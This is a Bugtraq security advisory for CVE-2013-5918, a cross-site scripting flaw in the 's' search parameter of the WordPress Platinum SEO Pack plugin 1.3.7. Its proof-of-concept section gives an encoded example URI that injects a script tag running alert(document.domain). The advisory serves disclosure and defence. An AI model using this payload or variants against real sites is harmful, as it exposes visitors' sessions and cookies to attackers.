WordPress Platinum SEO Pack 's' Parameter Cross Site Scripting Vulnerability
BID:62692
Info
WordPress Platinum SEO Pack 's' Parameter Cross Site Scripting Vulnerability
| Bugtraq ID: | 62692 |
| Class: | Input Validation Error |
| CVE: |
CVE-2013-5918 |
| Remote: | Yes |
| Local: | No |
| Published: | Sep 23 2013 12:00AM |
| Updated: | Sep 23 2013 12:00AM |
| Credit: | Charlie Briggs and Richard Clifford |
| Vulnerable: |
TechblissOnline Platinum SEO Pack 1.3.7 |
| Not Vulnerable: |
TechblissOnline Platinum SEO Pack 1.3.8 |
Discussion
WordPress Platinum SEO Pack 's' Parameter Cross Site Scripting Vulnerability
The Platinum SEO Pack plugin for WordPress is prone to a cross-site-scripting vulnerability because it fails to properly sanitize user-supplied input.
An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
Versions prior to Platinum SEO Pack 1.3.8 are vulnerable.
The Platinum SEO Pack plugin for WordPress is prone to a cross-site-scripting vulnerability because it fails to properly sanitize user-supplied input.
An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
Versions prior to Platinum SEO Pack 1.3.8 are vulnerable.
Exploit / POC
WordPress Platinum SEO Pack 's' Parameter Cross Site Scripting Vulnerability
Attackers can exploit this issue by enticing an unsuspecting victim to follow a malicious URI.
The following example URI is available:
http://example.com/wordpress/?s=%5C%5Cx3c%5C%5Cx2f%5C%5Cx74%5C%5Cx69%5C%5Cx74%5C%5Cx6c%5C%5Cx65%5C%5Cx3e%5C%5Cx3c%5C%5Cx73%5C%5Cx63%5C%5Cx72%5C%5Cx69%5C%5Cx70%5C%5Cx74%5C%5Cx3e%5C%5Cx61%5C%5Cx6c%5C%5Cx65%5C%5Cx72%5C%5Cx74%5C%5Cx28%5C%5Cx64%5C%5Cx6f%5C%5Cx63%5C%5Cx75%5C%5Cx6d%5C%5Cx65%5C%5Cx6e%5C%5Cx74%5C%5Cx2e%5C%5Cx64%5C%5Cx6f%5C%5Cx6d%5C%5Cx61%5C%5Cx69%5C%5Cx6e%5C%5Cx29%5C%5Cx3c%5C%5Cx2f%5C%5Cx73%5C%5Cx63%5C%5Cx72%5C%5Cx69%5C%5Cx70%5C%5Cx74%5C%5Cx3e
Attackers can exploit this issue by enticing an unsuspecting victim to follow a malicious URI.
The following example URI is available:
http://example.com/wordpress/?s=%5C%5Cx3c%5C%5Cx2f%5C%5Cx74%5C%5Cx69%5C%5Cx74%5C%5Cx6c%5C%5Cx65%5C%5Cx3e%5C%5Cx3c%5C%5Cx73%5C%5Cx63%5C%5Cx72%5C%5Cx69%5C%5Cx70%5C%5Cx74%5C%5Cx3e%5C%5Cx61%5C%5Cx6c%5C%5Cx65%5C%5Cx72%5C%5Cx74%5C%5Cx28%5C%5Cx64%5C%5Cx6f%5C%5Cx63%5C%5Cx75%5C%5Cx6d%5C%5Cx65%5C%5Cx6e%5C%5Cx74%5C%5Cx2e%5C%5Cx64%5C%5Cx6f%5C%5Cx6d%5C%5Cx61%5C%5Cx69%5C%5Cx6e%5C%5Cx29%5C%5Cx3c%5C%5Cx2f%5C%5Cx73%5C%5Cx63%5C%5Cx72%5C%5Cx69%5C%5Cx70%5C%5Cx74%5C%5Cx3e
References
WordPress Platinum SEO Pack 's' Parameter Cross Site Scripting Vulnerability
References:
References:
- Platinum SEO Pack Homepage (TechblissOnline)
- WordPress Homepage (WordPress)
- WordPress Platinum SEO 1.3.7 (and maybe below) XSS and occasional RCE (Charlie Briggs)